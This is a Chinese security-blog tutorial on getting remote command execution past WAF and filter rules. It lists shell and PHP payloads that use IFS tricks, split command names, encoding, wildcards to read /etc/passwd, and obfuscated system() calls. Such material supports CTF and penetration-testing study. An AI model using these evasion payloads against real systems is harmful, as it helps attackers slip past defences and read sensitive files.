freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

RCE bypass的一些小技巧
2022-04-24 15:34:38
所属地 海外

前言

本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!

所有环境均为本地环境分析,且在本机进行学习。

关于Bypass,我们应该从哪些角度开展呢。要知道怎么绕过,我们就得知道防火墙的过滤规则才行。那我们想想,比如在利用RCE漏洞的时候,我们当然想用cat、chmod、whoami、ifconfig、ls等这些操作对不对!像这些敏感命令,防火墙就会进行过滤。还有特殊字符如单引、双引、空格等等,防火墙同样会进行过滤。那我们现在知道那该死的防火墙不让我们输入那些敏感字符了,我们就要想办法找一些可以代替这些敏感字符且又能表达其字符的意思的东西对吧?所以我们直接进入今天的主题!

一、RCE bypass姿势

1.1、空格绕过

过滤空格的情况可以通过利用重定向符、IFS、其他字符代替、{,}等方法进行绕过。

1、 cat<>11.php //重定向符
2、 cat${IFS}11.php //IFS
3、 cat$IFS$911.php //$IFS$9
4、 {cat,11.php} //{,}

1650767041_6264b4c1853ab2f02e96e.png!small?1650767046811

1.2、命令或特殊字符绕过

(1)、如果过滤了某个命令,可以利用命令拼接、插入空字符串或者反单引号来绕过。

//假设过滤了cat
1、 a=c;b=a;c=t;$a$b$c //拼接
2、 c"a"t //插入空字符串
3、 c""a""t //也是插入空字符串
4、 c''a''t //反单引号

1650767525_6264b6a554b36e51c41a0.png!small?1650767530578

这个也有很多灵活的变种,比如第一种拼接方法,如果过滤了分号,可以利用%0a及类似的字符来代替分号。

(2)、利用base编码绕过

base64编码内容是cat 11.php

1650769327_6264bdaf90b52a7c3347a.png!small?1650769332878

(3)、利用hex编码(十六进制)绕过

echo的十六进制是cat 11.php 注意:不加0x

1650769796_6264bf84d5585e629702f.png!small?1650769802241

(4)、利用未初始化变量

1650769905_6264bff16e42e40c9e858.png!small?1650769910711

1.3、过滤文件名绕过

(1)、利用正则匹配绕过

例如过滤了/etc/passwd文件,使用正则匹配绕过。

1650770172_6264c0fc7030c7fc78bc8.png!small?1650770177806

1650770194_6264c11211e6eeddfca4b.png!small?1650770199505

(2)、使用未初始化变量绕过过滤文件名

1650770270_6264c15e90df5160a878b.png!small?1650770275959

1.4、命令执行函数system()绕过

系统命令函数system()、 passthru() 、exec() 、shell_exec()、 popen()、 proc_open()、 pcntl_exec() 、shell_exec()用以上函数都可进行绕过。

(1)、函数过滤绕过

"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");

(sy.(st).em)(whoami);

(2)、插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

php -r "system/*caixukun*/(whoami);"

php -r "system/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"

php -r "(sy./*caixukun*/(st)/*caixukun*/.em)/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"

1650784703_6264f9bf685f49971e028.png!small?1650784708946

二、总结

本次文章所讲到的绕过适用于CTF、渗透测试,有不周到的地方,还请各位大佬海涵!

# bypass
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录